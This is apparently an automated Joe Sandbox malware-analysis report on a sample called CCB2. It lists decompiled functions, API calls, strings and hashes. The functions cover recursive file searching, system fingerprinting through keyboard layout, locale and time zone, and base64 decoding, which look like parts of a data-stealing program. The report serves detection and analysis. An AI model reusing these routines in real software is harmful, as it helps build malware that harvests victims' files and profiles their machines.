Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction ID: 71626a129d466f9238cb37b5358ee9321746a310855d9d85cd845f069795b0a2
Opcode Fuzzy Hash: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction Fuzzy Hash: 225195B2500218ABCB10EFA0DD48EEA73BDBF8C700F048699B60997150E775EB95CF65

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x7faeb8
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x7fb4b0
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x7fad98
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x7fad80
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\%s, xrefs: 00409766
%s\*, xrefs: 004096ED

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x7fc960
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x7fc668
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x7fcdb0
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x7fc668
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x7e46b0
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x7fc668
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652);
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180);
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860);
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNEL32(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006812E0, Relevance: 19.6, APIs: 13, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 006812ED
wsprintfA.USER32 ref: 00681307
FindFirstFileA.KERNEL32(?,?), ref: 0068131E
StrCmpCA.SHLWAPI(?,00414010), ref: 00681344
StrCmpCA.SHLWAPI(?,00414014), ref: 0068135A
FindNextFileA.KERNEL32(000000FF,?), ref: 00681423
FindClose.KERNEL32(000000FF), ref: 00681438

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID:
API String ID: 2809309208-0
Opcode ID: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction ID: de0dbf4c318c1aae3cfc4f3a7b84d4aa787b1bcb0adbc049ddd5efadd39eddee
Opcode Fuzzy Hash: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction Fuzzy Hash: F631A5B250021CABCB10EFA0DD88EEA73BDBF4C705F008699B20992550DB74DB95CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200);
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00689D90, Relevance: 18.2, APIs: 12, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00689DA9
FindFirstFileA.KERNEL32(?,?), ref: 00689DC0
StrCmpCA.SHLWAPI(?,00414010), ref: 00689DE6
StrCmpCA.SHLWAPI(?,00414014), ref: 00689DFC
FindNextFileA.KERNEL32(000000FF,?), ref: 00689FE8
FindClose.KERNEL32(000000FF), ref: 00689FFD

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction ID: 9ceda50a2714e08839fd21dca9f774cff436ff93942609149650c86b785214bb
Opcode Fuzzy Hash: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction Fuzzy Hash: B6618CB2900108ABCB54EFA4DC85EEB73BDBF48700F048699F60993151EB75EA94CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00689930, Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00689949
FindFirstFileA.KERNEL32(?,?), ref: 00689960
StrCmpCA.SHLWAPI(?,00414010), ref: 00689986
StrCmpCA.SHLWAPI(?,00414014), ref: 0068999C
FindNextFileA.KERNEL32(000000FF,?), ref: 00689B9A
FindClose.KERNEL32(000000FF), ref: 00689BAF

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: b825d7b77795d55902365447d51eb8510de335e72191b4111bfbb1ac4141f644
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: 6B81F0B2500109ABCB14EF98DC84EEB73BDAF8C700F08869DB61993251D634EA55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0068B050, Relevance: 15.1, APIs: 10, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0068B060
RtlAllocateHeap.NTDLL(00000000), ref: 0068B067
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0068B088
LocalAlloc.KERNEL32(00000040,?), ref: 0068B0A0
GetKeyboardLayoutList.USER32(?,00000000), ref: 0068B0B4
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0068B109
wsprintfA.USER32 ref: 0068B132
wsprintfA.USER32 ref: 0068B150
memset.NTDLL ref: 0068B176
LocalFree.KERNEL32(00000000), ref: 0068B18B

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID:
API String ID: 1833916909-0
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: c3bba1296afeb6aa0770a008a1fb9a16be61a3f63930ec2e140c39a15df9d698
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: A1319AB0A8121CEBDB20DB94CC8DBEAB3B4FB44300F1082D5E519A6281CB745ED0CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 006876C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyh,00000000,00000000), ref: 006876EF
LocalAlloc.KERNEL32(00000040,?,?,00687976,?,?), ref: 00687701
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyh,00000000,00000000), ref: 0068772A
LocalFree.KERNEL32(?,?,?,00687976,?,?), ref: 0068773F

Strings

vyh, xrefs: 006876D4, 006876E1, 006876F9, 00687718, 006876E4, 0068771B

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: vyh
API String ID: 4291131564-313124389
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: cad918fcb0ba5d3b757e9df85f91d42e04e759ebe3f4239c6caecfa1238fc7ed
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 6111D2B4241308AFEB10CF64CC95FAA77B5FB89710F208558F9159B3D0C7B1A940DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v188 = GetTimeZoneInformation( &_v180);
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 006879F0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0068956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00687A3B
CryptStringToBinaryA.CRYPT32(0068956D,00000000), ref: 00687A46
lstrcat.KERNEL32(?,0041401A), ref: 00687B09
lstrcat.KERNEL32(?,0041401A), ref: 00687B1D
lstrcat.KERNEL32(0041401A,0041401A), ref: 00687B3E

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction ID: 8fe4cda10fe83904afd1c28e5c3a170621ad518b17a30f4f2e308a2d8c41b153
Opcode Fuzzy Hash: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction Fuzzy Hash: 13415CB490421A9FCB10DF94CD89BFEB7B9AF48704F1086A9E605A7280C7749A94CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,007E42C8), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

